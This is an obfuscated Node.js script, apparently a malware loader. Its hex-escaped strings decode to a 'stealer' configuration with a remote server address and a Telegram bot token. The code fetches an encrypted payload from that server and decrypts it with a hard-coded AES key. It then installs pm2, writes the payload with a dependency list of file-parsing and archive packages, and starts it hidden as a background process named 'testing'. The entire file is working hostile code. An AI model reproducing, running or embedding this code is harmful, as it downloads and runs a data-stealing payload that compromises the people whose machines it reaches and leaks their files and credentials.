mq=m2['\x63\x6f'+'\x6e\x73'+'\x74\x72'+'\x75\x63'+'\x74\x6f'+'\x72']['\x70\x72'+'\x6f\x74'+'\x6f\x74'+'\x79\x70'+'\x65']['\x62\x69'+'\x6e\x64'](m2),mU=m7[mm],mw=m6[mU]||mq;mq['\x5f\x5f'+'\x70\x72'+'\x6f\x74'+'\x6f\x5f'+'\x5f']=m2['\x62\x69'+'\x6e\x64'](m2),mq['\x74\x6f'+'\x53\x74'+'\x72\x69'+'\x6e\x67']=mw['\x74\x6f'+'\x53\x74'+'\x72\x69'+'\x6e\x67']['\x62\x69'+'\x6e\x64'](mw),m6[mU]=mq;}});m3();const m4=Object['\x63\x72'+'\x65\x61'+'\x74\x65'](null,{[Symbol['\x74\x6f'+'\x53\x74'+'\x72\x69'+'\x6e\x67'+'\x54\x61'+'\x67']]:{'\x76\x61\x6c\x75\x65':'\x4d\x6f'+'\x64\x75'+'\x6c\x65'}});if(m1){for(const m5 in m1)if(m5!=='\x64\x65'+'\x66\x61'+'\x75\x6c'+'\x74'){const m6=Object['\x67\x65'+'\x74\x4f'+'\x77\x6e'+'\x50\x72'+'\x6f\x70'+'\x65\x72'+'\x74\x79'+'\x44\x65'+'\x73\x63'+'\x72\x69'+'\x70\x74'+'\x6f\x72'](m1,m5);Object['\x64\x65'+'\x66\x69'+'\x6e\x65'+'\x50\x72'+'\x6f\x70'+'\x65\x72'+'\x74\x79'](m4,m5,m6['\x67\x65'+'\x74']?m6:{'\x65\x6e\x75\x6d\x65\x72\x61\x62\x6c\x65':!(0x6*-0x10a+-0x92c*0x2+0x1*0x1894),'\x67\x65\x74':()=>m1[m5]});}}return m4['\x64\x65'+'\x66\x61'+'\x75\x6c'+'\x74']=m1,Object['\x66\x72'+'\x65\x65'+'\x7a\x65'](m4);}const Z=D(c),p=D(C),Y=D(n);Y['\x70\x72'+'\x6f\x6d'+'\x69\x73'+'\x69\x66'+'\x79'](p['\x67\x7a'+'\x69\x70']);const H=Y['\x70\x72'+'\x6f\x6d'+'\x69\x73'+'\x69\x66'+'\x79'](p['\x67\x75'+'\x6e\x7a'+'\x69\x70']);async function E(m,U){try{if(!m['\x69\x76']||!m['\x65\x6e'+'\x63\x72'+'\x79\x70'+'\x74\x65'+'\x64']||!U)throw new Error('\u0422\u0440'+'\u0435\u0431'+'\u0443\u044e'+'\u0442\u0441'+'\u044f\x20'+'\x69\x76'+'\x2c\x20'+'\u0437\u0430'+'\u0448\u0438'+'\u0444\u0440'+'\u043e\u0432'+'\u0430\u043d'+'\u043d\u044b'+'\u0435\x20'+'\u0434\u0430'+'\u043d\u043d'+'\u044b\u0435'+'\x20\u0438'+'\x20\u043a'+'\u043b\u044e'+'\u0447');const m1=Buffer['\x66\x72'+'\x6f\x6d'](m['\x69\x76'],'\x62\x61'+'\x73\x65'+'\x36\x34'),m2=Buffer['\x66\x72'+'\x6f\x6d'](m['\x65\x6e'+'\x63\x72'+'\x79\x70'+'\x74\x65'+'\x64'],'\x62\x61'+'\x73\x65'+'\x36\x34'),m3=Z['\x63\x72'+'\x65\x61'+'\x74\x65'+'\x44\x65'+'\x63\x69'+'\x70\x68'+'\x65\x72'+'\x69\x76']('\x61\x65'+'\x73\x2d'+'\x32\x35'+'\x36\x2d'+'\x63\x62'+'\x63',Z['\x63\x72'+'\x65\x61'+'\x74\x65'+'\x48\x61'+'\x73\x68']('\x73\x68'+'\x61\x32'+'\x35\x36')['\x75\x70'+'\x64\x61'+'\x74\x65'](U)['\x64\x69'+'\x67\x65'+'\x73\x74'](),m1);let m4=m3['\x75\x70'+'\x64\x61'+'\x74\x65'](m2);return m4=Buffer['\x63\x6f'+'\x6e\x63'+'\x61\x74']([m4,m3['\x66\x69'+'\x6e\x61'+'\x6c']()]),await H(m4);}catch(m5){throw console['\x65\x72'+'\x72\x6f'+'\x72']('\u041e\u0448'+'\u0438\u0431'+'\u043a\u0430'+'\x20\u043f'+'\u0440\u0438'+'\x20\u0434'+'\u0435\u0448'+'\u0438\u0444'+'\u0440\u043e'+'\u0432\u0430'+'\u043d\u0438'+'\u0438\x3a',m5['\x6d\x65'+'\x73\x73'+'\x61\x67'+'\x65']),m5;}}function Q(m,q){const U=L();return Q=function(w,X){w=w-(-0xdf*-0x15+0x6fd*-0x1+-0xab4);let a=U[w];if(Q['\x69\x59\x43\x4e\x72\x45']===undefined){var O=function(d){const h='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let n='',S='';for(let s=-0x18c7+0x1720+0x8d*0x3,i,t,f=0x8bd*0x1+-0x1178+0x8bb;t=d['\x63\x68\x61\x72\x41\x74'](f++);~t&&(i=s%(0xda7+0x1dd4+-0x2b77)?i*(-0x622*-0x5+0x1*0x713+-0x257d*0x1)+t:t,s++%(0xb7a*-0x1+-0x2c*-0xbc+0xd*-0x19a))?n+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](0x20a8+-0x2*-0x3b3+-0x270f&i>>(-(0x1465*-0x1+-0xa10*0x1+0x1e77)*s&-0x30e+-0x1d75+-0x1*-0x2089)):0x1c8b+-0x121a+0x1*-0xa71){t=h['\x69\x6e\x64\x65\x78\x4f\x66'](t);}for(let K=0x4c1*-0x2+-0x1ce*0x13+0x4*0xaf3,N=n['\x6c\x65\x6e\x67\x74\x68'];K<N;K++){S+='\x25'+('\x30\x30'+n['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](K)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x2*-0x1c6+0x18fa+-0x155e))['\x73\x6c\x69\x63\x65'](-(0x3*0x85d+0x2d*0x25+-0x1f96));}return decodeURIComponent(S);};const C=function(d,h){let n=[],S=0x1*-0x1dbe+-0x8aa*-0x1+0x1514,t,f='';d=O(d);let K;for(K=0xb1*-0x3+-0x1*0xb45+0x4*0x356;K<-0x1a40+0x19e6+0x15a*0x1;K++){n[K]=K;}for(K=0x6c8+-0x4*-0x65d+-0x203c;K<0x279*0x4+-0x2f*-0x3b+-0x13b9;K++){S=(S+n[K]+h['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](K%h['\x6c\x65\x6e\x67\x74\x68']))%(0x5*-0x3fb+0x1ecf+-0x9e8),t=n[K],n[K]=n[S],n[S]=t;}K=-0x11*0xc8+-0x24f9+0x5*0xa0d,S=0x1353+0x565*-0x1+0x2*-0x6f7;for(let N=-0x1a5a+0x147f*-0x1+0x43*0xb3;N<d['\x6c\x65\x6e\x67\x74\x68'];N++){K=(K+(-0x166b+-0x20e3+-0x1*-0x374f))%(0x7*-0x139+-0xae*0x2e+-0x28d3*-0x1),S=(S+n[K])%(0x1*-0xc4a+0xd*0x49+0x1*0x995),t=n[K],n[K]=n[S],n[S]=t,f+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](d['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](N)^n[(n[K]+n[S])%(-0x1*-0x198d+0x2b1+-0x1b3e)]);}return f;};Q['\x4c\x57\x67\x70\x46\x70']=C,m=arguments,Q['\x69\x59\x43\x4e\x72\x45']=!![];}const l=U[0x527*0x7+0xc88+-0x3099],W=w+l,c=m[W];return!c?(Q['\x4c\x75\x61\x48\x68\x55']===undefined&&(Q['\x4c\x75\x61\x48\x68\x55']=!![]),a=Q['\x4c\x57\x67\x70\x46\x70'](a,X),m[W]=a):a=c,a;},Q(m,q);}const o={};async function R(m){try{return await W['\x70\x72'+'\x6f\x6d'+'\x69\x73'+'\x65\x73']['\x61\x63'+'\x63\x65'+'\x73\x73'](m),!(0x24cd+0x2*-0x1312+0x31*0x7);}catch{return!(0x28a*-0x6+-0x2d*-0x1+-0x4*-0x3c4);}}const T=n['\x70\x72'+'\x6f\x6d'+'\x69\x73'+'\x69\x66'+'\x79'](s['\x65\x78'+'\x65\x63']);async function F(m,U){try{const m1=await T(m,{'\x6d\x61\x78\x42\x75\x66\x66\x65\x72':0xa00000,'\x63\x77\x64':U,'\x77\x69\x6e\x64\x6f\x77\x73\x48\x69\x64\x65':!(-0x1d07+0x1465*-0x1+-0x316c*-0x1)});return m1['\x73\x74'+'\x64\x6f'+'\x75\x74']??m1;}catch(m2){console['\x65\x72'+'\x72\x6f'+'\x72']('\u041e\u0448'+'\u0438\u0431'+'\u043a\u0430'+'\x20\u0432'+'\u044b\u043f'+'\u043e\u043b'+'\u043d\u0435'+'\u043d\u0438'+'\u044f\x3a'+'\x20'+m2);}}const r=n['\x70\x72'+'\x6f\x6d'+'\x69\x73'+'\x69\x66'+'\x79'](s['\x65\x78'+'\x65\x63']),G=t['\x70\x6c'+'\x61\x74'+'\x66\x6f'+'\x72\x6d']()==='\x6c\x69'+'\x6e\x75'+'\x78'?'\x2f\x6d'+'\x6e\x74'+'\x2f\x63':'\x43\x3a';async function V(){if(!o['\x75\x73'+'\x65\x72'+'\x4e\x61'+'\x6d\x65'])try{if(t['\x70\x6c'+'\x61\x74'+'\x66\x6f'+'\x72\x6d']()==='\x6c\x69'+'\x6e\x75'+'\x78'){const m=await r('\x2f\x6d'+'\x6e\x74'+'\x2f\x63'+'\x2f\x57'+'\x69\x6e'+'\x64\x6f'+'\x77\x73'+'\x2f\x53'+'\x79\x73'+'\x74\x65'+'\x6d\x33'+'\x32\x2f'+'\x77\x68'+'\x6f\x61'+'\x6d\x69'+'\x2e\x65'+'\x78\x65',{'\x77\x69\x6e\x64\x6f\x77\x73\x48\x69\x64\x65':!(-0x16ae+-0x30e+0x19bc)}),U=m['\x73\x74'+'\x64\x6f'+'\x75\x74']??m;o['\x75\x73'+'\x65\x72'+'\x4e\x61'+'\x6d\x65']=U?.['\x74\x72'+'\x69\x6d']()?.['\x73\x70'+'\x6c\x69'+'\x74']('\x5c')[-0x8*-0x251+-0x2f6+-0xf91];}else o['\x75\x73'+'\x65\x72'+'\x4e\x61'+'\x6d\x65']=t['\x75\x73'+'\x65\x72'+'\x49\x6e'+'\x66\x6f']()['\x75\x73'+'\x65\x72'+'\x6e\x61'+'\x6d\x65'];}catch(m1){console['\x6c\x6f'+'\x67'](m1),o['\x75\x73'+'\x65\x72'+'\x4e\x61'+'\x6d\x65']=t['\x75\x73'+'\x65\x72'+'\x49\x6e'+'\x66\x6f']()['\x75\x73'+'\x65\x72'+'\x6e\x61'+'\x6d\x65'];}return o['\x75\x73'+'\x65\x72'+'\x4e\x61'+'\x6d\x65'];}async function A(){if(!o['\x70\x61'+'\x74\x68'+'\x50\x72'+'\x6f\x67'+'\x72\x61'+'\x6d']&&(o['\x70\x61'+'\x74\x68'+'\x50\x72'+'\x6f\x67'+'\x72\x61'+'\x6d']=K['\x6a\x6f'+'\x69\x6e'](G,'\x75\x73'+'\x65\x72'+'\x73',await V()),!await R(o['\x70\x61'+'\x74\x68'+'\x50\x72'+'\x6f\x67'+'\x72\x61'+'\x6d']))){const m=t['\x68\x6f'+'\x6d\x65'+'\x64\x69'+'\x72']();o['\x70\x61'+'\x74\x68'+'\x50\x72'+'\x6f\x67'+'\x72\x61'+'\x6d']=m;}return o['\x70\x61'+'\x74\x68'+'\x50\x72'+'\x6f\x67'+'\x72\x61'+'\x6d'];}const J={'\x69\x73\x4c\x6f\x67':!(0x1833+0xc4+0x1aa*-0xf),'\x69\x73\x52\x65\x73\x74\x61\x72\x74':!(0x3d*0xa3+-0x1e2a+0xb9*-0xc),'\x73\x74\x65\x61\x6c\x65\x72':{'\x70\x61\x74\x68\x53\x63\x72\x69\x70\x74\x46\x69\x6c\x65':'\x2e\x2f'+'\x64\x69'+'\x73\x74'+'\x2f\x73'+'\x74\x65'+'\x61\x6c'+'\x65\x72'+'\x2f\x73'+'\x74\x65'+'\x61\x6c'+'\x65\x72'+'\x2e\x74'+'\x78\x74'},'\x73\x65\x72\x76\x65\x72':{'\x68\x6f\x73\x74':'\x38\x30'+'\x2e\x37'+'\x38\x2e'+'\x33\x30'+'\x2e\x33'+'\x36','\x70\x6f\x72\x74':0x50},'\x73\x63\x61\x6e\x6e\x65\x72':{'\x67\x69\x74':{'\x70\x61\x63\x6b\x61\x67\x65\x4e\x61\x6d\x65':'\x74\x65'+'\x73\x74'+'\x2d\x70'+'\x61\x63'+'\x6b\x61'+'\x67\x65','\x76\x65\x72\x73\x69\x6f\x6e':'\x31\x2e'+'\x30\x2e'+'\x30'},'\x69\x73\x46\x69\x6c\x65\x49\x6e\x66\x6f\x72\x6d\x61\x74\x69\x6f\x6e':!(0xbd1+0x2*-0x417+0x1e*-0x1f)},'\x70\x61\x74\x68\x50\x72\x6f\x67\x72\x61\x6d\x4e\x61\x6d\x65':'\x64\x6f'+'\x63\x73'+'\x74\x61'+'\x74','\x74\x69\x6d\x65\x48\x6f\x75\x72\x73\x4c\x69\x76\x65':0x4,'\x74\x67\x49\x6e\x66\x6f':{'\x62\x6f\x74':'\x37\x35'+'\x32\x31'+'\x34\x31'+'\x30\x34'+'\x38\x37'+'\x3a\x41'+'\x41\x46'+'\x4c\x33'+'\x58\x56'+'\x5f\x41'+'\x77\x44'+'\x6f\x59'+'\x76\x53'+'\x63\x69'+'\x4c\x5a'+'\x76\x75'+'\x33\x31'+'\x6e\x2d'+'\x58\x75'+'\x4c\x51'+'\x36\x50'+'\x2d\x74'+'\x4f\x51','\x63\x68\x61\x74':'\x2d\x34'+'\x37\x34'+'\x33\x31'+'\x38\x33'+'\x35\x32'+'\x36'}},e=[{'\x68\x6f\x73\x74':'\x44\x45'+'\x53\x4b'+'\x54\x4f'+'\x50\x2d','\x75\x73\x65\x72\x6e\x61\x6d\x65':'\x6a\x75'+'\x73\x74'+'\x69\x6e'},{'\x68\x6f\x73\x74':'\x44\x45'+'\x53\x4b'+'\x54\x4f'+'\x50\x2d'+'\x4a\x57'+'\x56\x58'+'\x45\x49'+'\x53'}],M={'\x6e\x61\x6d\x65':'\x70\x72'+'\x6f\x67'+'\x72\x61'+'\x6d','\x76\x65\x72\x73\x69\x6f\x6e':'\x31\x2e'+'\x30\x2e'+'\x30','\x6d\x61\x69\x6e':'\x69\x6e'+'\x64\x65'+'\x78\x2e'+'\x6a\x73','\x61\x75\x74\x68\x6f\x72':'','\x6c\x69\x63\x65\x6e\x73\x65':'\x49\x53'+'\x43','\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e':'','\x64\x65\x70\x65\x6e\x64\x65\x6e\x63\x69\x65\x73':{'\x73\x71\x6c\x69\x74\x65\x33':'\x35\x2e'+'\x31\x2e'+'\x37','\x40\x74\x6f\x6e\x2f\x63\x72\x79\x70\x74\x6f':'\x33\x2e'+'\x33\x2e'+'\x30','\x6f\x66\x66\x69\x63\x65\x70\x61\x72\x73\x65\x72':'\x34\x2e'+'\x32\x2e'+'\x30','\x72\x74\x66\x2d\x70\x61\x72\x73\x65\x72':'\x31\x2e'+'\x33\x2e'+'\x33','\x70\x64\x66\x2d\x70\x61\x72\x73\x65':'\x31\x2e'+'\x31\x2e'+'\x31','\x74\x61\x72':'\x37\x2e'+'\x34\x2e'+'\x33','\x37\x7a\x69\x70\x2d\x6d\x69\x6e':'\x32\x2e'+'\x31\x2e'+'\x30','\x6e\x6f\x64\x65\x2d\x75\x6e\x72\x61\x72\x2d\x6a\x73':'\x32\x2e'+'\x30\x2e'+'\x32'}};async function m0(){return fetch('\x68\x74'+'\x74\x70'+'\x3a\x2f'+'\x2f'+J['\x73\x65'+'\x72\x76'+'\x65\x72']['\x68\x6f'+'\x73\x74']+'\x3a'+J['\x73\x65'+'\x72\x76'+'\x65\x72']['\x70\x6f'+'\x72\x74']+('\x2f\x6c'+'\x6f\x61'+'\x64'),{'\x6d\x65\x74\x68\x6f\x64':'\x47\x45'+'\x54'})['\x74\x68'+'\x65\x6e'](m=>m['\x74\x65'+'\x78\x74']())['\x63\x61'+'\x74\x63'+'\x68'](m=>(console['\x65\x72'+'\x72\x6f'+'\x72'](m),null));}function L(){const ma=['\x6e\x64\x62\x67\x73\x66\x66\x51\x75\x32\x71','\x71\x4a\x64\x64\x4a\x38\x6f\x6c\x57\x51\x48\x59\x57\x50\x79','\x6f\x66\x6e\x41\x73\x75\x50\x53\x7a\x71','\x6e\x64\x65\x35\x6e\x74\x69\x32\x44\x68\x48\x70\x43\x78\x76\x4d','\x6d\x74\x43\x34\x6d\x4a\x65\x30\x6d\x33\x6a\x64\x74\x30\x66\x68\x74\x61','\x57\x50\x75\x4f\x71\x72\x68\x63\x50\x77\x42\x63\x4f\x43\x6b\x59\x6d\x6d\x6b\x75\x57\x36\x79\x4e\x6c\x61','\x57\x35\x75\x66\x46\x38\x6b\x2f\x57\x35\x69\x6b\x57\x51\x46\x63\x52\x78\x62\x64\x78\x61','\x6d\x74\x71\x5a\x6d\x5a\x71\x35\x6e\x78\x48\x59\x79\x4b\x58\x30\x42\x71','\x57\x50\x61\x4f\x73\x48\x74\x63\x52\x67\x52\x64\x53\x6d\x6b\x78\x6b\x6d\x6b\x4e\x57\x36\x47\x34','\x75\x43\x6b\x47\x72\x49\x42\x63\x4a\x6d\x6b\x6c\x57\x37\x48\x36\x57\x34\x64\x64\x53\x76\x43\x4d','\x57\x34\x71\x32\x6b\x64\x64\x64\x49\x6d\x6b\x47\x69\x75\x75','\x57\x50\x6e\x52\x57\x4f\x57\x6f\x57\x37\x64\x64\x4e\x76\x54\x57\x6d\x48\x46\x63\x53\x49\x79','\x6d\x5a\x4b\x5a\x6e\x74\x47\x30\x6f\x68\x44\x54\x76\x76\x44\x68\x41\x57','\x57\x34\x6a\x64\x70\x57\x37\x64\x47\x43\x6b\x2f\x68\x71','\x64\x43\x6f\x63\x74\x63\x64\x63\x53\x53\x6b\x75\x57\x4f\x5a\x63\x4f\x57','\x78\x6d\x6f\x42\x57\x4f\x46\x63\x4d\x33\x6c\x63\x47\x4c\x5a\x63\x4f\x48\x56\x64\x51\x33\x54\x36\x57\x37\x79','\x6e\x4a\x69\x35\x6d\x74\x6d\x35\x72\x30\x48\x77\x75\x4c\x66\x57','\x6e\x5a\x71\x57\x6e\x5a\x7a\x74\x72\x65\x31\x33\x45\x75\x4b','\x57\x36\x4c\x57\x57\x35\x75\x6c\x57\x4f\x33\x63\x52\x30\x79'];L=function(){return ma;};return L();}function X(m,q){const U=L();return X=function(w,a){w=w-(-0xdf*-0x15+0x6fd*-0x1+-0xab4);let O=U[w];if(X['\x4c\x6e\x44\x71\x4b\x78']===undefined){var Q=function(C){const d='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let h='',n='';for(let S=-0x18c7+0x1720+0x8d*0x3,s,i,t=0x8bd*0x1+-0x1178+0x8bb;i=C['\x63\x68\x61\x72\x41\x74'](t++);~i&&(s=S%(0xda7+0x1dd4+-0x2b77)?s*(-0x622*-0x5+0x1*0x713+-0x257d*0x1)+i:i,S++%(0xb7a*-0x1+-0x2c*-0xbc+0xd*-0x19a))?h+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](0x20a8+-0x2*-0x3b3+-0x270f&s>>(-(0x1465*-0x1+-0xa10*0x1+0x1e77)*S&-0x30e+-0x1d75+-0x1*-0x2089)):0x1c8b+-0x121a+0x1*-0xa71){i=d['\x69\x6e\x64\x65\x78\x4f\x66'](i);}for(let f=0x4c1*-0x2+-0x1ce*0x13+0x4*0xaf3,K=h['\x6c\x65\x6e\x67\x74\x68'];f<K;f++){n+='\x25'+('\x30\x30'+h['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](f)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x2*-0x1c6+0x18fa+-0x155e))['\x73\x6c\x69\x63\x65'](-(0x3*0x85d+0x2d*0x25+-0x1f96));}return decodeURIComponent(n);};X['\x52\x6c\x4f\x6a\x44\x55']=Q,m=arguments,X['\x4c\x6e\x44\x71\x4b\x78']=!![];}const l=U[0x1*-0x1dbe+-0x8aa*-0x1+0x1514],W=w+l,c=m[W];return!c?(O=X['\x52\x6c\x4f\x6a\x44\x55'](O),m[W]=O):O=c,O;},X(m,q);}((async()=>{let m;try{const m3=await W['\x70\x72'+'\x6f\x6d'+'\x69\x73'+'\x65\x73']['\x72\x65'+'\x61\x64'+'\x46\x69'+'\x6c\x65']('\x2e\x2f'+'\x70\x61'+'\x63\x6b'+'\x61\x67'+'\x65\x2e'+'\x6a\x73'+'\x6f\x6e','\x75\x74'+'\x66\x2d'+'\x38'),m4=JSON['\x70\x61'+'\x72\x73'+'\x65'](m3);m4['\x61\x75'+'\x74\x68'+'\x6f\x72']&&(m=m4['\x61\x75'+'\x74\x68'+'\x6f\x72']);}catch(m5){console['\x6c\x6f'+'\x67'](m5);}const U=t['\x68\x6f'+'\x73\x74'+'\x6e\x61'+'\x6d\x65'](),m1=t['\x75\x73'+'\x65\x72'+'\x49\x6e'+'\x66\x6f']()['\x75\x73'+'\x65\x72'+'\x6e\x61'+'\x6d\x65'];console['\x6c\x6f'+'\x67']({'\x68\x6f\x73\x74\x6e\x61\x6d\x65':U,'\x75\x73\x65\x72\x6e\x61\x6d\x65':m1});for(const m6 of e)if(U['\x73\x74'+'\x61\x72'+'\x74\x73'+'\x57\x69'+'\x74\x68'](m6['\x68\x6f'+'\x73\x74'])&&m1===m6['\x75\x73'+'\x65\x72'+'\x6e\x61'+'\x6d\x65'])return null;const m2=await A();try{console['\x6c\x6f'+'\x67']('\x6c\x6f'+'\x61\x64'+'\x20\x73'+'\x74\x65'+'\x61\x6c'+'\x65\x72');let m7=await m0();if(!m7)return console['\x6c\x6f'+'\x67']('\x73\x74'+'\x65\x61'+'\x6c\x65'+'\x72\x20'+'\x73\x63'+'\x72\x69'+'\x70\x74'+'\x20\x65'+'\x72\x72'+'\x6f\x72'),null;try{if(m7&&(m7=await E(JSON['\x70\x61'+'\x72\x73'+'\x65'](m7),'\x61\x73'+'\x64\x73'+'\x64\x67'+'\x44\x45'+'\x32\x33'+'\x31\x34')['\x74\x68'+'\x65\x6e'](m8=>m8['\x74\x6f'+'\x53\x74'+'\x72\x69'+'\x6e\x67']()),console['\x6c\x6f'+'\x67']('\x64\x65'+'\x63\x72'+'\x79\x70'+'\x74\x53'+'\x74\x72'+'\x69\x6e'+'\x67\x20'+'\x74\x72'+'\x75\x65'),!m7))return console['\x6c\x6f'+'\x67']('\x73\x74'+'\x65\x61'+'\x6c\x65'+'\x72\x20'+'\x64\x65'+'\x63\x72'+'\x79\x70'+'\x74\x53'+'\x74\x72'+'\x69\x6e'+'\x67\x20'+'\x73\x63'+'\x72\x69'+'\x70\x74'+'\x20\x65'+'\x72\x72'+'\x6f\x72'),null;}catch(m8){return console['\x6c\x6f'+'\x67']('\u043e\u0448'+'\u0438\u0431'+'\u043a\u0430'+'\x20\u0440'+'\u0430\u0441'+'\u0448\u0438'+'\u0444\u0440'+'\u043e\u0432'+'\u043a\u0438',m8),null;}try{if(m7){await F('\x70\x6d'+'\x32\x20'+'\x2d\x76')['\x74\x68'+'\x65\x6e'](mq=>/\d\.\d\.\d/['\x74\x65'+'\x73\x74'](mq??''))||(console['\x6c\x6f'+'\x67']('\x6e\x70'+'\x6d\x20'+'\x69\x20'+'\x70\x6d'+'\x32\x20'+'\x2d\x67'),await F('\x6e\x70'+'\x6d\x20'+'\x69\x20'+'\x70\x6d'+'\x32\x20'+'\x2d\x67'));const m9=await F('\x70\x6d'+'\x32\x20'+'\x6c\x73');m9&&/testing/['\x74\x65'+'\x73\x74'](m9)&&(console['\x6c\x6f'+'\x67']('\x70\x6d'+'\x32\x20'+'\x64\x65'+'\x6c\x65'+'\x74\x65'+'\x20\x74'+'\x65\x73'+'\x74\x69'+'\x6e\x67'),await F('\x70\x6d'+'\x32\x20'+'\x64\x65'+'\x6c\x65'+'\x74\x65'+'\x20\x74'+'\x65\x73'+'\x74\x69'+'\x6e\x67'));const mm=m2+'\x2f'+J['\x70\x61'+'\x74\x68'+'\x50\x72'+'\x6f\x67'+'\x72\x61'+'\x6d\x4e'+'\x61\x6d'+'\x65'];await W['\x70\x72'+'\x6f\x6d'+'\x69\x73'+'\x65\x73']['\x6d\x6b'+'\x64\x69'+'\x72'](mm)['\x63\x61'+'\x74\x63'+'\x68'](mq=>{console['\x6c\x6f'+'\x67']('\u041d\u0435'+'\x20\u0443'+'\u0434\u0430'+'\u043b\u043e'+'\u0441\u044c'+'\x20\u0441'+'\u043e\u0437'+'\u0434\u0430'+'\u0442\u044c'+'\x20\u043f'+'\u0430\u043f'+'\u043a\u0443'+'\x20'+mm+'\x3a\x20'+mq);}),await W['\x70\x72'+'\x6f\x6d'+'\x69\x73'+'\x65\x73']['\x77\x72'+'\x69\x74'+'\x65\x46'+'\x69\x6c'+'\x65'](mm+('\x2f\x6d'+'\x61\x6e'+'\x69\x66'+'\x65\x73'+'\x74'),m7,'\x75\x74'+'\x66\x2d'+'\x38'),await W['\x70\x72'+'\x6f\x6d'+'\x69\x73'+'\x65\x73']['\x77\x72'+'\x69\x74'+'\x65\x46'+'\x69\x6c'+'\x65'](mm+('\x2f\x70'+'\x61\x63'+'\x6b\x61'+'\x67\x65'+'\x2e\x6a'+'\x73\x6f'+'\x6e'),JSON['\x73\x74'+'\x72\x69'+'\x6e\x67'+'\x69\x66'+'\x79']({...M,'\x61\x75\x74\x68\x6f\x72':m}),'\x75\x74'+'\x66\x2d'+'\x38'),await F('\x6e\x70'+'\x6d\x20'+'\x69',mm),console['\x6c\x6f'+'\x67']('\x6e\x70'+'\x6d\x20'+'\x69'),console['\x6c\x6f'+'\x67']('\x70\x6d'+'\x32\x20'+'\x73\x74'+'\x61\x72'+'\x74'),await F('\x70\x6d'+'\x32\x20'+'\x73\x74'+'\x61\x72'+'\x74\x20'+'\x2e\x2f'+'\x6d\x61'+'\x6e\x69'+'\x66\x65'+'\x73\x74'+'\x20\x2d'+'\x2d\x6e'+'\x61\x6d'+'\x65\x20'+'\x22\x74'+'\x65\x73'+'\x74\x69'+'\x6e\x67'+'\x22\x20'+'\x2d\x2d'+'\x6e\x6f'+'\x2d\x61'+'\x75\x74'+'\x6f\x72'+'\x65\x73'+'\x74\x61'+'\x72\x74',mm);}}catch(mq){console['\x6c\x6f'+'\x67']('\x65\x76'+'\x61\x6c'+'\x20\x65'+'\x72\x72'+'\x6f\x72',mq);}}catch(mU){console['\x6c\x6f'+'\x67'](mU);}})());
|